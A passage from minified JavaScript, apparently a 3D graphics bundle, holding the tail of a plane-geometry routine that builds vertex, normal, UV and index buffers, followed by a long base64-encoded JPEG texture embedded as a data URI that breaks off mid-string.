w=x*y-s/2,A=0;A<=o;A++,p++){var M=A*v-r/2;if(t[3*p+h]=M*d,t[3*p+c]=w*f,t[3*p+u]=a/2,e[3*p+h]=0,e[3*p+c]=0,e[3*p+u]=a>=0?1:-1,i[2*p]=A/o,i[2*p+1]=1-x/l,x!==l&&A!==o){var E=g+A+x*(o+1),b=g+A+(x+1)*(o+1),k=g+A+(x+1)*(o+1)+1,U=g+A+x*(o+1)+1;n[6*m]=E,n[6*m+1]=b,n[6*m+2]=U,n[6*m+3]=b,n[6*m+4]=k,n[6*m+5]=U,m++}}}}]),e}(v),at="data:image/jpeg;base64,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